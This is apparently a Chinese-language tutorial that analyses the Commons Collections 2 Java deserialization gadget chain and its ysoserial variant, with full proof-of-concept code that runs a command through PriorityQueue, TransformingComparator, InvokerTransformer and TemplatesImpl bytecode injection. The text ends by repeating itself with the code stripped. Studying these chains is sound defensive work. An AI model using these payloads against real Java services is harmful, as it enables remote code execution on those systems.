JAVA安全-cc2分析(进阶篇)
字数 1743 2025-08-22 12:23:41

Java安全 - CC2链分析(进阶篇)

前言

本教程详细分析Commons Collections 2(CC2)链及其变种YSO-CC2的利用方式,相比CC1链难度更高,需要掌握更多前置知识。

前置知识

ClassLoader

ClassLoader是Java类加载器,其中的defineClass方法可以将字节码还原为Class对象。

关键方法:

  • defineClass(String name, byte[] b, int off, int len):将字节数组转换为Class对象

示例代码:

ClassPool pool2 = ClassPool.getDefault();
CtClass ct = pool2.makeClass("target.com.prophet.People2");
CtConstructor cons = ct.makeClassInitializer();
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bt = ct.toBytecode();

Method define = ClassLoader.class.getDeclaredMethod("defineClass", 
    String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class cla = (Class)define.invoke(ClassLoader.getSystemClassLoader(),
    "target.com.prophet.People2", bt, 0, bt.length);
cla.newInstance();

Javassist

Javassist是一个Java字节码操作库,提供源代码级和字节码级API。

ClassPool常用方法

  • getDefault():获取默认类池
  • insertClassPath(String pathname):在搜索路径开头插入目录或JAR
  • get(String classname):读取类文件并返回CtClass对象
  • makeClass(String classname):创建新的public类

CtClass常用方法

  • setSuperclass(CtClass clazz):设置父类
  • toBytecode():将类转换为字节数组
  • makeClassInitializer():创建类初始化器(静态构造函数)
  • writeFile():将类文件写入磁盘

CtMethods常用方法

  • insertBefore(String src):在方法开始处插入代码
  • setBody(String src):设置方法体内容
  • addParameter(CtClass type):添加参数

TemplatesImpl

TemplatesImpl类可用于动态加载字节码,关键方法:

  • defineTransletClasses():调用defineClass还原字节码
  • getTransletInstance():实例化转换器类
  • newTransformer():创建新转换器
  • getOutputProperties():获取输出属性(上层调用newTransformer)

利用链:

getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass()

示例代码:

ClassPool pool2 = ClassPool.getDefault();
CtClass ct = pool2.makeClass("People2");
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
CtConstructor cons = ct.makeClassInitializer();
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

templates.newTransformer();

PriorityQueue

优先队列常用方法:

  • add()/offer():添加元素
  • poll()/remove():取出并删除队首元素
  • peek():查询队首元素

比较器用法:

// 默认从小到大
PriorityQueue<Integer> queue = new PriorityQueue<>(); 

// 从大到小
PriorityQueue<Integer> queue = new PriorityQueue<>((a,b)->(b-a));

环境准备

依赖配置:

<dependencies>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.25.0-GA</version>
    </dependency>
</dependencies>

CC2链分析

为什么不用AnnotationInvocationHandler

在Commons Collections 4.0中,AnnotationInvocationHandlerreadObject方法已被修复,因此需要寻找新的入口点。

TransformingComparator

TransformingComparator类的compare方法会执行transform操作,且transformer成员可通过构造方法设置。

调用链:

PriorityQueue.readObject() 
-> heapify() 
-> siftDown() 
-> siftDownUsingComparator() 
-> TransformingComparator.compare() 
-> ChainedTransformer.transform()

完整利用链:

ObjectInputStream.readObject()
-> PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Class.getMethod()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.getRuntime()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.exec()

POC代码:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(comparator);
queue.add(new Object());
queue.add(new Object());

// 序列化与反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
outputStream.writeObject(queue);
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("demo.bin"));
inputStream.readObject();

YSO-CC2链分析

结合Javassist和TemplatesImpl实现更高级的利用方式。

关键点:

  1. 使用InvokerTransformer调用TemplatesImplgetOutputProperties方法
  2. 通过TransformingComparator.compare()触发transform
  3. 将恶意TemplatesImpl对象传入队列

POC代码:

// 创建恶意类
ClassPool pool2 = ClassPool.getDefault();
CtClass ct = pool2.makeClass("People2");
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
CtConstructor cons = ct.makeClassInitializer();
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};

// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

// 创建InvokerTransformer调用getOutputProperties
Constructor<?> constructor = Class.forName(
    "org.apache.commons.collections4.functors.InvokerTransformer")
    .getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer invokerTransformer = (InvokerTransformer) 
    constructor.newInstance("getOutputProperties");

// 设置比较器
TransformingComparator comparator = new TransformingComparator(invokerTransformer);

// 配置PriorityQueue
PriorityQueue queue = new PriorityQueue();
setFieldValue(queue, "size", 2);
setFieldValue(queue, "comparator", comparator);
Object[] list = new Object[]{templates, 1};
setFieldValue(queue, "queue", list);

// 序列化与反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
outputStream.writeObject(queue);
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.bin"));
inputStream.readObject();

辅助方法

private static void setFieldValue(final Object obj, 
    final String fieldName, final Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

总结

CC2链相比CC1链:

  1. 使用了PriorityQueue作为入口类
  2. 通过TransformingComparator触发transform
  3. 在4.0版本中规避了AnnotationInvocationHandler的限制

YSO-CC2链进一步:

  1. 结合Javassist动态生成恶意类
  2. 利用TemplatesImpl加载字节码
  3. 通过InvokerTransformer直接调用getOutputProperties方法

掌握这些技术需要深入理解Java反射、类加载机制和序列化原理。

Java安全 - CC2链分析(进阶篇) 前言 本教程详细分析Commons Collections 2(CC2)链及其变种YSO-CC2的利用方式,相比CC1链难度更高,需要掌握更多前置知识。 前置知识 ClassLoader ClassLoader 是Java类加载器,其中的 defineClass 方法可以将字节码还原为Class对象。 关键方法: defineClass(String name, byte[] b, int off, int len) :将字节数组转换为Class对象 示例代码: Javassist Javassist是一个Java字节码操作库,提供源代码级和字节码级API。 ClassPool常用方法 getDefault() :获取默认类池 insertClassPath(String pathname) :在搜索路径开头插入目录或JAR get(String classname) :读取类文件并返回CtClass对象 makeClass(String classname) :创建新的public类 CtClass常用方法 setSuperclass(CtClass clazz) :设置父类 toBytecode() :将类转换为字节数组 makeClassInitializer() :创建类初始化器(静态构造函数) writeFile() :将类文件写入磁盘 CtMethods常用方法 insertBefore(String src) :在方法开始处插入代码 setBody(String src) :设置方法体内容 addParameter(CtClass type) :添加参数 TemplatesImpl TemplatesImpl 类可用于动态加载字节码,关键方法: defineTransletClasses() :调用defineClass还原字节码 getTransletInstance() :实例化转换器类 newTransformer() :创建新转换器 getOutputProperties() :获取输出属性(上层调用newTransformer) 利用链: 示例代码: PriorityQueue 优先队列常用方法: add() / offer() :添加元素 poll() / remove() :取出并删除队首元素 peek() :查询队首元素 比较器用法: 环境准备 依赖配置: CC2链分析 为什么不用AnnotationInvocationHandler 在Commons Collections 4.0中, AnnotationInvocationHandler 的 readObject 方法已被修复,因此需要寻找新的入口点。 TransformingComparator TransformingComparator 类的 compare 方法会执行 transform 操作,且 transformer 成员可通过构造方法设置。 调用链: 完整利用链: POC代码: YSO-CC2链分析 结合Javassist和TemplatesImpl实现更高级的利用方式。 关键点: 使用 InvokerTransformer 调用 TemplatesImpl 的 getOutputProperties 方法 通过 TransformingComparator.compare() 触发 transform 将恶意 TemplatesImpl 对象传入队列 POC代码: 辅助方法 总结 CC2链相比CC1链: 使用了 PriorityQueue 作为入口类 通过 TransformingComparator 触发 transform 在4.0版本中规避了 AnnotationInvocationHandler 的限制 YSO-CC2链进一步: 结合Javassist动态生成恶意类 利用 TemplatesImpl 加载字节码 通过 InvokerTransformer 直接调用 getOutputProperties 方法 掌握这些技术需要深入理解Java反射、类加载机制和序列化原理。